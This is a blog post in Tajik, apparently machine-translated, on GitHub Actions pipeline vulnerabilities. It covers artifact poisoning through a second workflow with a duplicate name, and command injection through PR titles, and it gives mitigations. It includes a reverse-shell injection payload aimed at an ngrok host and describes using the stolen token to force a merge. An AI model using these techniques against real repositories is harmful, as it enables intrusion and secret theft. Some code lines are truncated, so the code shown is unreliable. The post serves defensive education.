Дар паёмҳои қаблӣ (нигаред Заҳролудшавии ғайримустақим Pipeline Иҷрои I-PPE ва Заҳролуд шудааст Pipeline Иҷрои PPE , мо асосан бо PPE (Заҳролудшуда) сарукор доштем Pipeline Иҷро): мо дидем, ки он чӣ гуна кор мекунад, таъсири он, баъзе истисмор ва инчунин баъзе роҳҳои муҳофизат аз он.
Ин паём ба баъзеи дигар амиқтар ғӯтавар мешавад CI/CD pipeline осебпазириҳо ба монанди заҳролудшавии артефакт ва ворид кардани код.
Барои ин, мо онро ба таври муайян ба PPE асос хоҳем кард, аз ин рӯ, биёед хулосаи мухтасари он чизеро, ки дар бораи PPE дидем, тартиб диҳем.
Корҳои қаблӣ оид ба PPE
Хулоса, мо бо GitHub-и оддӣ оғоз кардем. pipeline барои сохтан ва санҷидани рамзи саҳмгузор тавассути pull requestҒайр аз ин, он баъзе санҷишҳоро муайян мекунад, ки агар иҷро шаванд, рамзро ба шохаи асосӣ муттаҳид мекунанд. Мо инро чунин номгузорӣ кардем. Сенарияи №1.

Дар паёми қаблии худ мо нишон додем, ки чӣ тавр ин асосӣ аст pipeline буд, осебпазир ба ҳам D-PPE ва ҳам I-PPE.
Мо тавонистем D-PPE-ро ислоҳ кунед by тағир додани рӯйдоди триггер аз дархости кашидан ба pull_request_target, қабули pipeline барои D-PPE бехатар аст. Ҳамчун ёдоварӣ, pipelines, ки дар рӯйдоди pull_request_target фаъол мешавад, пойгоҳи додаҳоро иҷро мекунад pipeline рамз, на pipeline рамзи мавҷуд дар pull request.
Мо инро чунин номгузорӣ кардем Сенарияи №2.

Дар натиҷаи ин тағйирот, мо нишон додем, ки Сенарияи №2 ҳанӯз ҳам ба I-PPE осебпазир буд.
Барои ислоҳи он, мо тасмим гирифтем, тақсим кардан pipeline ба ду:
- 1 pipeline (Сохтани CI) мешуд рамзи PR-ро санҷед (барои сохтани он), сохтмонро созед ва артефакт эҷод кунед.
- 2-ум pipeline (Санҷиши CI) мешуд рамзи асосиро санҷед (барои пешгирӣ аз тағир додани скрипти shell) ва скриптҳои аслиро бар зидди артефакт иҷро кунед.
- Барои ҳамоҳангсозии CI-и санҷишӣ pipeline барои иҷро кардан БАЪД аз сохтани CI pipeline, мо истифода хоҳем бурд workflow_run триггер.
Мо инро чунин номгузорӣ кардем Сенарияи №3.

Биёед рамзи ҳардуро барқарор кунем pipelineмувофиқи ин тағйиротҳо…
1st pipeline (Сохтани CI):
name: Build CI
on:
pull_request_target:
branches: [ main ]
env:
MY_SECRET: ${{ secrets.MY_SECRET }}
GITHUB_PAT: ${{ secrets.GH_PAT }}
jobs:
prt_build_and_upload:
runs-on: ubuntu-latest
steps:
- name: Checking out PR code
uses: actions/checkout@v4
if: ${{ github.event_name == 'pull_request_target' }}
with:
# This is to get the PR code instead of the repo code
ref: ${{ github.event.pull_request.head.sha }}
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
# Upload the binary as a pipeline artifact
- name: Archive building artifacts
uses: actions/upload-artifact@v3
with:
name: archive-bin
path: |
bin
2nd pipeline (Санҷиши CI):
name: Test CI
on:
workflow_run:
workflows: [ 'Build CI' ]
types: [completed]
env:
MY_SECRET: ${{ secrets.MY_SECRET }}
GITHUB_PAT: ${{ secrets.GH_PAT }}
jobs:
deploy:
runs-on: ubuntu-latest
if: ${{ github.event.workflow_run.conclusion == 'success' }}
steps:
# By default, checks out base code (not PR code)
- name: Checkout repository
uses: actions/checkout@v4
# Download the artifact
- name: 'Download artifact'
uses: actions/github-script@v6
with:
script: |
let allArtifacts = await github.rest.actions.listWorkflowRunArtifacts({
owner: context.repo.owner,
repo: context.repo.repo,
run_id: context.payload.workflow_run.id,
});
let matchArtifact = allArtifacts.data.artifacts.filter((artifact) => {
return artifact.name == "archive-bin"
})[0];
let download = await github.rest.actions.downloadArtifact({
owner: context.repo.owner,
repo: context.repo.repo,
artifact_id: matchArtifact.id,
archive_format: 'zip',
});
let fs = require('fs');
fs.writeFileSync(`${process.env.GITHUB_WORKSPACE}/myartifact.zip`, Buffer.from(download.data));
# Unzip the artifact
- name: 'Unzip artifact'
run: |
unzip -o myartifact.zip
# Runs tests
- name: Running tests ...
id : run_tests
run: |
echo Running tests..
chmod +x runtests.sh
./runtests.sh
echo Tests executed.
#
# For demo purposes, the check merge condition will always be set to FALSE (avoiding to merge)
#
- name: pr_check_conditions_to_merge
id: check_pr
run: |
echo "check_conditions_to_merge"
PR_ID=$(> $GITHUB_OUTPUT
- name: pr_merge_pr_false
if: steps.check_pr.outputs.merge == 'false'
run: |
echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
echo "Merge conditions NOT MEET!!!"
- name: pr_merge_pr_true
if: steps.check_pr.outputs.merge == 'true' && steps.run_tests.outputs.run_tests == 'OK'
run: |
echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
echo "Merge conditions successfully MEET!!!"
echo "Merging .."
PR_ID=$(
Заҳролудшавӣ аз артефакт
Мувофиқи боло CI/CD pipelines:
- pipeline Сохтани CI is бехатар ба ҳарду D-PPE (бо сабаби pull_request_target) ва I-PPE (зеро он дигар скрипти shell-ро иҷро намекунад).
- pipeline Санҷиши CI низ мебошад бехатар ба ҳарду D-PPE (бо сабаби workflow_run) ва I-PPE (зеро он рамзи асосиро барои гирифтани скрипти аслии shell тафтиш мекунад)
Биёед ба ин "ҳалли масъала" ба таври муфассалтар назар андозем.
Pipeline Санҷиши CI артефактро ҳамчун файли zip зеркашӣ мекунад.
# Unzip the artifact
- name: 'Unzip artifact'
run: |
unzip -o myartifact.zip
# Runs tests
- name: Running tests ...
id : run_tests
run: |
echo Running tests..
chmod +x runtests.sh
./runtests.sh
echo Tests executed.
Пас аз кушодан, он скрипти shell-и "бехатар"-ро иҷро мекунад. Чаро ман скрипти shell-и "бехатар"-ро мегӯям? Зеро дар қадами қаблӣ, pipeline рамзи "асосӣ"-ро тафтиш мекунад, то скрипти аслӣ дар ҷузвдони фазои корӣ ҷойгир карда шавад. Аз ин рӯ, вақте ки pipeline скрипти shell-ро, ки он бо истифода аз файли бинарии қаблан зеркашӣшуда иҷро мешавад, иҷро мекунад.
Пас, чӣ аст проблема бо ин равиш? Мушкилот ба миён меояд вақте ки ягон корбар "нав" эҷод мекунад pipeline.
Агар корбар PR-ро кушояд, ки дорои як паёми нав аст pipeline, GitHub инро иҷро хоҳад кард pipeline (бо назардошти баъзе шартҳо, чунон ки мо дар мақолаи қаблӣ дидем мансаби).
Бо назардошти ин, чӣ мешавад, агар корбар нав эҷод кунад pipeline бо ҳамон ном бо Build CI? Бале, ин ҳайратовар аст, аммо GitHub ба шумо имкон медиҳад, ки ду эҷод кунед pipelineбо ҳамон ном!!
Дар хотир доред, ки Test CI пас аз сохтани CI иҷро мешавад...
name: Test CI
on:
workflow_run:
workflows: [ 'Build CI' ]
types: [completed]
Тааҷҷубовар аст, зеро ҳоло ду нафар ҳастанд pipelineбо ҳамон ном, pipeline Санҷиши CI ду маротиба иҷро мешавад: яке пас аз асл pipeline ва дигар пас аз "нав" pipeline.
Чӣ тавр хакер метавонад аз ин истифода барад?
- Аввалан, корбари зараровар метавонад скрипти shell-ро тағир диҳад, то сирри онро ба сервери аз ҷониби ҳакер идорашаванда фиристад.
- Дуюм, нав pipeline сатреро дар бар мегирад, ки скрипти тағирёфтаи пӯстро ба артефакт нусхабардорӣ мекунад → заҳролуд кардани артифакт!!!
Вақте ки корбар PR-ро бо ин тағйирот мекушояд, "нав" pipeline иҷро карда мешавад (боркунии артефакти заҳролудшуда) ва CI-и ҷойгиркунӣ pipeline баъд аз он иҷро карда мешавад, ки дар натиҷа скрипти "тағйирёфта"-и пӯсти "аслӣ"-ро, ки дар он ҷойгир аст, аз нав менависад pipeline фазои корӣ.

Ин аст он чизе ки мо даъват мекунем Заҳролудшавӣ аз артефакт, яъне қобилияти тағир додан (ҳакерӣ кардан) pipeline мантиқ тавассути тағир додани а pipeline ҳунарманд.
Як имконпазир ислоҳоти хеле содда аст: танҳо кушодани артефакт ба зерҷузвдони фазои корӣ аз аз нав навиштани скрипти "асосӣ"-и пӯст пешгирӣ мекунад..
Кодекси тазриқӣ
Ғайр аз заҳролудшавӣ аз артефакт, оё шумо метавонед ягон осебпазирии дигарро дар рамзи дар боло зикршуда бубинед?
Рафтем!!
Тавре ки шумо дар рамз мебинед, pipeline Build CI файли дуӣ месозад, он файли дуиро ҳамчун pipeline артефакт ва ғайр аз ин, он якчанд маълумоти иловагиро бор мекунад: унвони PR ва ID-и PR.
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
Чаро? Зеро барои муттаҳид кардани PR, тавре ки шумо дар зер мебинед, CI-и санҷишӣ pipeline барои даъват кардани API-и GitHub REST, ки PR-ро муттаҳид мекунад, ба PR идентификатор лозим аст.
Чӣ тавр санҷиши CI анҷом дода мешавад pipeline гирифтани он ID-и PR? Мубодилаи маълумот дар файлҳои матнӣ (қисми а) pipeline артефакт) роҳи маъмули мубодилаи иттилоот байни pipelineс. Ва ин маҳз ҳамон чизест, ки инҳо pipelineс анҷом медиҳанд.
echo "Merging .."
PR_ID=$(
Ба таври қатъӣ, барои муттаҳид кардани PR танҳо ID-и PR лозим аст, аммо pipeline администратор қарор кард, ки CI-и сохташуда унвони PR-ро низ дар бар гирад, аз ин рӯ CI-и санҷишӣ pipeline баъзе паёмҳои иттилоотиро, ки ҳам ID-и PR ва ҳам Унвонро дар бар мегиранд, чоп мекунад.
name: Build CI
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
name: Test CI
[...]
PR_ID=$(
Унвони PR ҳамеша маълумотест, ки аз корбар меояд ва аз ин рӯ, бояд ҳамеша ҳамчун беэътимод ҳисобида шавад.. Ҳамин тавр pipeline бояд чунин муносибат кунад ва чораҳои муҳофизатӣ андешад.
Дар рамзи боло, мо метавонем паёми мушаххасеро бубинем, ки унвони PR-ро инъикос мекунад. Ин танҳо як фармони "echo"-и Linux аст.
Тавассути интерполятсияи сатрҳо, агар унвон "унвони сохта" бошад, Github дар дохили худ скриптеро эҷод мекунад, ки дорои
echo ""a dummy title""
Аммо, чӣ мешавад, агар унвони PR чунин бошад:
Унвони зараровар” && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo "Скрипт чунин хоҳад буд:
echo "Malicious title" && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo ""
Натиҷа кушодани як қабати баръакс бар зидди сервери аз ҷониби ҳакер идорашаванда мебошад.

Ин қабати баръакс метавонад барои дастрасӣ ба он истифода шавад pipeline асрорҳо (дар хотир доред, ки Test CI дар ҳолати имтиёзҳо кор мекунад, зеро он аз ҷониби workflow_run фаъол мешавад, то он ба асрор дастрасӣ дошта бошад).
Аммо, тавассути ин пӯсти баръакс боз чӣ кор кардан мумкин аст?
Ба рамзи санҷиши CI нигаред:
env:
GITHUB_PAT: ${{ secrets.GH_PAT }}
[...]
echo "Merging .."
PR_ID=$(
Тавре ки шумо метавонед дар санҷиши CI бубинед pipeline, фармони curl merge аз GITHUB_PAT (ҳамчун муайян карда мешавад) истифода мебарад. pipeline env var), бинобар ин, иҷрокунанда GITHUB_PAT-ро ҳамчун тағирёбандаи муҳит дар бар мегирад. Ғайр аз ин, он инчунин env var эҷод мекунад, ки ID-и PR-ро мехонад.
Пас, ҳакер танҳо бояд фармони curl-ро нусхабардорӣ кунад ва онро ба қабати баръакс часбонад ва PR-ро мустақиман ба шохаи ҳифзшуда муттаҳид кунад.

Барои ҳифзи ҳамаи ин:
- Ба пешгирӣ кунед интерполятсияи сатрӣ бо маълумоти нобовар (осебпазир ба воридкунии рамз) бо муайян мекунад pipeline муҳит тағйирёбандаҳо ба ҷои истифодаи мустақими он дар фармонҳои echo
Ба ҷои истифода:
name: Build CI
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
Инро истифода баред:
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "$PR_TITLE" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
env:
PR_TITLE: ${{github.event.pull_request.title}}
- Ҳатто бо истифода аз тазриқи код, фармони curl merge агар шумо дуруст иҷро мекардед, муваффақ намешуд. шуморо муҳофизат кард pull requests тавассути баъзе баррасӣ ё тасдиқи ҳатмӣ.
Хулоса
Ҳифз кардан ба таври ногаҳонӣ душвор аст CI/CD pipelineконфигуратсияи s ва гирифтани pipelineаз осебпазириҳо озод аст.
Ин маънои онро надорад CI/CD системаҳо (чунон ки дар ин ҳолат GitHub) худ аз худ осебпазиранд. CI/CD системаҳо воситаҳои муҳофизат аз осебпазириҳоро фароҳам меоранд ... аммо татбиқи ин ҳимояҳо масъулияти администратор аст.
Аммо ... Шумо наметавонед осебпазириро ҳал кунед, агар аз мавҷудияти он огоҳ набошед!!!
Албатта, як мудири баландихтисоси devops метавонад ҳамаи ин таҳдидҳоро дар назар дошта бошад ва онҳоро дуруст муҳофизат кунад. CI/CD pipelineс, аммо, бо вуҷуди ин, истифодаи маҳсулот барои муайян кардани ҳамаи ин намуди осебпазириҳо хеле арзишманд аст. Ва албатта, автоматикунонии ин раванди боздошти осебпазириҳо (масалан, иҷро кардани скан ҳамчун як қисми CI/CD pipelineс).
Ин усулро метавон номид, ки "Дарвозаи амниятӣ”:
- Эҷоди нав pipeline (Дарвозаи амниятӣ) барои санҷиш CI/CD pipelineосебпазириҳои s ва дигар CI-ро эҷод кунед pipelineтанҳо пас аз анҷоми бомуваффақияти дарвозаи амниятӣ иҷро карда мешавад pipeline.
- Дарвозаи амниятӣ pipelines тафтиш хоҳад кард CI/CD pipelineосебпазириҳои с ва,
- Агар осебпазириҳо пайдо шаванд, он ноком мешавад ва аз ин рӯ, дигараш pipelines иҷро карда намешавад.
- Агар ягон осебпазирӣ пайдо нашавад, pipeline муваффақ хоҳад шуд ва дигаре pipelines мисли маъмулӣ иҷро хоҳад шуд.








